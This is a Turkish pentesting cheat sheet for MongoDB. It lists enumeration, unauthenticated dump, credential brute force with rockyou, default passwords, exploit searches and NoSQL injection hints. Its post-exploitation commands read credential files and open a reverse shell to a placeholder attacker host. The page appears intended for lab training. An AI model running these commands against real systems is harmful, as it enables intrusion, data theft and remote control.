Skip to content

27017,27018 - Pentesting MongoDB

MongoDB database

Auth kapalı MongoDB koleksiyon dump ve bazen JS/server-side abuse verir. Hedef lab IP’si üzerinde komutları 27017 portuna göre uyarla; her başarıyı ayrı kanıtla.

  1. 27017/27018 doğrula.

  2. Auth’suz listDatabases.

  3. Dump ve credential ara.

  4. Role abuse / JS komut.

Terminal window
nmap -Pn -sV -p27017,27018 TARGET
Terminal window
nmap -Pn -p27017,27018 --script mongodb-info,mongodb-databases TARGET
Terminal window
mongosh --host TARGET --eval 'db.runCommand({connectionStatus:1})'
Terminal window
nmap -p27017 --script mongodb-brute TARGET
Terminal window
mongosh --host TARGET --eval 'show dbs'
Terminal window
mongodump --host TARGET --out loot/mongo
Terminal window
mongosh --host TARGET --eval 'db.users.find().limit(20)'
Terminal window
mongosh --host TARGET -u admin -p pass --authenticationDatabase admin
NoSQL injection on exposed apps; $where JS
Terminal window
grep -RniE 'password|api[_-]?key' loot/mongo | head

,27018 - MongoDB için ek keşif ve fingerprint.

Terminal window
nmap -Pn -sV -sC -p27017,27018 TARGET
Terminal window
nmap -Pn -p27017 --script safe,discovery TARGET
Terminal window
timeout 5 bash -c 'echo | openssl s_client -connect TARGET:27017' 2>/dev/null | head
Terminal window
python3 -c "import socket;s=socket.create_connection(('TARGET',27017));s.settimeout(3);print(s.recv(4096))"
Banner / TLS / ALPN notları → ,27018 - MongoDB
Terminal window
hydra -L users.txt -P rockyou.txt -s 27017 PROTOCOL://TARGET -t 4
Terminal window
medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 27017
Terminal window
nmap -p27017 --script '*-brute' TARGET
admin/admin, root/root, guest/(boş), test/test
Terminal window
searchsploit MongoDB
Terminal window
msfconsole -q -x 'search MongoDB; exit'
Terminal window
nuclei -u https://TARGET:27017 -t cves/ -silent -severity || true
Terminal window
nuclei -u http://TARGET:27017 -tags tech -silent || true
Terminal window
nc -nv TARGET 27017
Terminal window
printf '
' | timeout 3 nc -nv TARGET 27017
Terminal window
curl -vk --http1.0 http://TARGET:27017/
Wireshark/tcpdump ile konuşmayı kaydet; replay dene
config, key, session, env, backup
Terminal window
find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head
Terminal window
ss -lntp; ip a; cat /etc/passwd | head
Terminal window
bash -i >& /dev/tcp/ATTACKER/443 0>&1
Terminal window
mkdir -p loot && tee loot/notes.txt
[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu
unauth mongo → dump → creds → app/admin